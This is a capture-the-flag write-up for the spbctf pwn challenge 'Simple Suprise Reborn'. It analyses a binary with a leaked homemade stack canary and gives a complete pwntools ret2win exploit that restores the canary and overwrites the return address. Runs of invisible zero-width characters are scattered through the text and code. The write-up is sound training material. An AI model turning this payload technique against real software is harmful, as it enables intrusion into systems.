← Back to Writeups
CUSTOMMediumpwn

Simple Suprise Reborn

XESXOR9/2/20264 min read
#pwn#custom#medium#custom_canary_bypass_via_leak#format_string_leak#ret2win#stack_buffer_overflow

Simple Suprise Reborn

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: custom_canary_bypass_via_leak, format_string_leak, ret2win, stack_buffer_overflow

Summary

Task: x86-64 pwn binary with a stack buffer overflow guarded by a homemade rand()-based canary, which is leaked verbatim by a format string. Solution: parse the leaked canary from the banner, overflow the buffer while restoring the canary at rbp-0x4 so the equality check passes, and overwrite the return address with print_flag (ret2win).

Simple Suprise Reborn — spbctf

Description

Simple-Suprise-Reborn — Author: Artur Khanov (@awengar) nc 109.233.56.90 11612 https://pwn.spbctf.ru/files/canary/simple_suprprise_2_fixed

A 64-bit x86-64 ELF (dynamically linked, not stripped) reads user input into an undersized stack buffer. The overflow is "protected" by a homemade canary — a global rand() value — rather than the real compiler stack canary. The goal is to reach print_flag(), which opens and prints the flag file.

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key symbols:

  • main @ 0x4013bc
  • func_A @ 0x40127f — the vulnerable function
  • print_flag @ 0x401260 — win function, calls printout("flag") then printout("task1.c")
  • printout @ 0x4011f2 — open(name, O_RDONLY), read 0x100, write to stdout
  • global canary @ 0x4040a4 (.bss)

The URL path segment canary and the theme hint at a canary bypass, but the canary is fake / homemade:

main() (0x4013bc):

  1. srand(time(0)), then rand() → stored into global canary.
  2. printf("I am here %p %x\n", &main, canary) — leaks the canary directly as %x.
  3. fflush(stdout), calls func_A(), prints "Auth finished". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

func_A() (0x40127f): frame sub rsp, 0x30

  • buf at rbp-0x30 (memset 0x20 bytes to 0).
  • local canary copy at rbp-0x4 = global canary.
  • write(1, "Login:\n", 7).
  • read(0, buf, 0x64) → 100 bytes into a 0x30 buffer → overflow #1.
  • echoes buf back (strlen+write), then "Welcome,".
  • read(0, buf, 0x64) → overflow #2 into the SAME buffer (decisive one — canary check happens after it).
  • strcmp(buf, "pass") → prints "OK\n"/"No\n" (does not affect control flow).
  • checks [rbp-0x4] == global canary: mismatch → printf("Fail %x %x\n", ...) + exit(1); equal → leave/ret. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

printout(name) (0x4011f2): open(name, O_RDONLY), read up to 0x100, write stdout, close. print_flag() (0x401260): printout("flag"), printout("task1.c") — returning here dumps the flag.

Vulnerability

Stack buffer overflow in func_A guarded by a custom canary. The canary is trivially defeated because main() leaks it via the format string "I am here %p %x". The second read() overwrites the saved return address while restoring the leaked canary so the equality check passes → ret2win into print_flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack layout in func_A (rbp-relative)

ItemAddressOffset from buf
bufrbp-0x300
local canaryrbp-0x040x2c = 44
saved rbprbp+0x000x30 = 48
return addrrbp+0x080x38 = 56

Solution

  1. Connect, read I am here 0x4013bc <canary_hex> and parse the canary (%x, 32-bit).
  2. Satisfy read #1 with a small input.
  3. For read #2, send:
    • b"pass\x00".ljust(0x2c, b"A") — 44 bytes; keeps strcmp("pass") matching, fills to local canary.
    • p32(canary) — restore the leaked canary at rbp-0x4 so the check passes.
    • b"B"*8 — saved rbp.
    • p64(0x401260) — return address → print_flag (ret2win).
  4. func_A returns into print_flag, dumping the flag file (printed twice: flag + task1.c). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

exe = './simple_suprprise_2_fixed'
HOST, PORT = '109.233.56.90', 11612

PRINT_FLAG = 0x401260

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(exe)

io = start()

# main prints: "I am here %p %x\n" -> leaks main ptr and canary
line = io.recvline_contains(b'I am here')
log.info(f'leak line: {line}')
parts = line.split()
# parts: b'I', b'am', b'here', b'<%p>', b'<%x>'
main_ptr = int(parts[3], 16)
canary = int(parts[4], 16)
log.info(f'main_ptr = {hex(main_ptr)}  canary = {hex(canary)}')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# func_A: "Login:\n" then first read, then "Welcome," ... then second read
io.recvuntil(b'Login:')
# first read - just send something small
io.send(b'A\n')
# it writes back buf + newline; then second read
io.recvuntil(b'Welcome,')

# Build overflow for second read into rbp-0x30
# offset to local canary (rbp-0x4) = 0x2c = 44
# canary(4) + saved rbp(8) + retaddr(8)
payload  = b'pass\x00'.ljust(0x2c, b'A')   # 44 bytes, strcmp sees "pass"
payload += p32(canary)                       # restore canary at rbp-0x4
payload += b'B' * 8                          # saved rbp
payload += p64(PRINT_FLAG)                   # return address
io.send(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = io.recvall(timeout=5)
print("=== OUTPUT ===")
print(data)
try:
    print(data.decode(errors='replace'))
except: pass

Run: python3 exploit.py REMOTE ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍